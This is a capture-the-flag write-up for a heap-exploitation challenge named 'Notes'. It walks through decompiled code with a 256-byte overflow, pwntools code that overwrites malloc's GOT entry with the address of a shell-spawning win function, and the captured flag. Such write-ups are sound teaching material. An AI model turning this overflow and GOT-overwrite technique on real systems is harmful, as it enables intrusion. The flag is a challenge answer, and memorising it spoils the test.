PWN - Notes

> A simple notes service for your darkest secrets

Load the binary into IDA and see the functions that are available.

Functions:

```
note_t *__cdecl add()
{
  note_t *note; // [rsp+8h] [rbp-8h]

  note = (note_t *)malloc(8uLL);
  note->content = (char *)malloc(8uLL);
  puts("content> ");
  fgets(note->content, 8, stdin);
  return note;
}
```

```
void __cdecl edit(note_t *note)
{
  puts("content> ");
  fgets(note->content, 256, stdin);
}
```

```
void __cdecl win()
{
  system("/bin/sh");
}
```

We see that when adding a record in the heap, 8 bytes are allocated for each record and another 8 bytes for the pointer (but in fact one record stores 32 bytes, I haven't figured out why), and only 8 bytes can be written. But when modifying an existing record it is possible to write 256 bytes. That is, we can overwrite the pointer of the next record. And there is also the win function that is never called.

To do this, we must first create two records with arbitrary contents:

```
io.recvuntil(b"0. Exit")
io.sendline(b'1')
io.recvuntil(b'index> ')
io.sendline(b'0')
io.recvuntil(b'content>')
io.sendline(b'chunk1')

io.recvuntil(b"0. Exit")
io.sendline(b'1')
io.recvuntil(b'index> ')
io.sendline(b'1')
io.recvuntil(b'content>')
io.sendline(b'chunk2')
```

Next we need to change the first record and rewrite the pointer of the second record to another one. We need to overwrite the data in the got.plt table, namely the address of the malloc function, which is located at the address **0x404028**.

```
io.recvuntil(b"0. Exit")
io.sendline(b'2')
io.recvuntil(b'index> ')
io.sendline(b'0')
io.recvuntil(b'content>')
payload = flat(
    b'A' * 32,
    p64(0x404028)
)
io.sendline(payload)
```

And then we simply change the allegedly second note and simply rewrite the address of the malloc function to the address of the win function - **0x4011A6**. And when calling the malloc function, the win function will be called.

```
io.recvuntil(b"0. Exit")
io.sendline(b'2')
io.recvuntil(b'index> ')
io.sendline(b'1')
io.recvuntil(b'content>')
io.sendline(p64(0x4011A6))
```

> Full exploit
>
> Flag: **TFCCTF{103a360f285151bfda3fb4009852c15084fd9bf997470c43c20eef413ed98898}**